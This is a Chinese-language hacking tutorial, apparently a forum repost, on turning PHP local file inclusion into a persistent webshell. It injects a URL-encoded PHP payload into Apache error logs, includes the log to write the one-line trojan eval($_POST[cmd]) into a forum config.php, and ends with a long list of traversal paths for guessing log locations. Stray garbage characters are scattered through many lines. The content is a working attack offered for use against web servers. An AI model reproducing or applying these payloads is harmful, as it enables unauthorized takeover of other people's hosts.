php包含apache日志写马

admin

因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。

; P% c4 z/ a2 ?8 T比如还是这句一句话木马
<?eval($_POST[cmd]);?>   

- y8 T7 a( w( W9 ^) U/ ]到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是

. P5 }+ H6 J/ C( y) {' g<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
' |" b; R4 A2 ~* D' K1 M+ j1 Gfclose($fp);?>   //在config.php里写入一句木马语句
2 N# h$ D- g. u% |; C3 V! {7 N
我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。
转换为
3 S' [7 x% j% i. F0 I6 D%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
9 b/ v% h6 F% y# ~' }0 Z( Y9 f' i: tconfig%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
fclose%28%24fp%29%3B%3F%3E
我们提交
. x7 Q: K, i8 U7 p2 {http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E

这样就错误日志里就记录下了这行写入webshell的代码。
我们再来包含日志，提交
http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log
- X3 n4 U  h; f' x
这样webshell就写入成功了，config.php里就写入一句木马语句
* l0 q* i' J# w) n0 F$ |OK.
http://www.xxx.com/forum/config.php这个就成了我们的webshell
) z  o1 \) X; z& R* Q% @- f( y直接用lanker的客户端一连，主机就是你的了。

PS:上面讲的，前提是文件夹权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用

其他的日志路径，你可以去猜，也可以参照这里。
../../../../../../../../../../var/log/httpd/access_log
../../../../../../../../../../var/log/httpd/error_log
../apache/logs/error.log
2 _+ E4 x% u3 @% Z: ~1 R../apache/logs/access.log
../../apache/logs/error.log
8 g& e& L: a. x' d$ f, L( E. S& D../../apache/logs/access.log
../../../apache/logs/error.log
, g, ]4 {9 J7 d( C1 r../../../apache/logs/access.log
../../../../../../../../../../etc/httpd/logs/acces_log
../../../../../../../../../../etc/httpd/logs/acces.log
../../../../../../../../../../etc/httpd/logs/error_log
../../../../../../../../../../etc/httpd/logs/error.log
8 ?! C& C0 f+ J6 I7 U/ _3 {../../../../../../../../../../var/www/logs/access_log
../../../../../../../../../../var/www/logs/access.log
../../../../../../../../../../usr/local/apache/logs/access_log
../../../../../../../../../../usr/local/apache/logs/access.log
../../../../../../../../../../var/log/apache/access_log
8 l' {2 m8 n% h2 j% K../../../../../../../../../../var/log/apache/access.log
../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/www/logs/error_log
../../../../../../../../../../var/www/logs/error.log
2 W) A* m& A# Q' y" c1 H3 G0 M# x../../../../../../../../../../usr/local/apache/logs/error_log
5 I. Z7 u; F3 C../../../../../../../../../../usr/local/apache/logs/error.log
  ]7 M7 w1 g5 N  z../../../../../../../../../../var/log/apache/error_log
' Y7 ~& j; L* R& i- A( k% _../../../../../../../../../../var/log/apache/error.log
' Y4 _* }4 x" `/ M) d* V) H1 h../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/log/error_log
/var/log/httpd/access_log      
; V/ Q% V- i4 H$ _7 n/var/log/httpd/error_log     
* P) l: z7 w: z, d../apache/logs/error.log     
  H/ Y( d# @( _% ?) Z9 m../apache/logs/access.log
0 }! N# T+ q& ]. B' {* P../../apache/logs/error.log
../../apache/logs/access.log
, Y* G8 w: U5 |* |& h../../../apache/logs/error.log
../../../apache/logs/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
# I* B: |. R: \  J! B! w/etc/httpd/logs/error_log
* Q! e6 q2 K# X" {* G/ Z/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
% Y& v; x+ F' ]! [/ j/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
$ n/ k3 H6 f/ U4 |/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
0 h3 V5 I; i- q0 z+ e, Z+ F/var/www/logs/error_log
/var/www/logs/error.log
5 S, T% P: ?+ d  F+ I/usr/local/apache/logs/error_log
! B5 S  l# S% Q. G8 V! K) m: {/usr/local/apache/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
! j$ G( w8 o2 M" s9 I/var/log/access_log
/var/log/error_log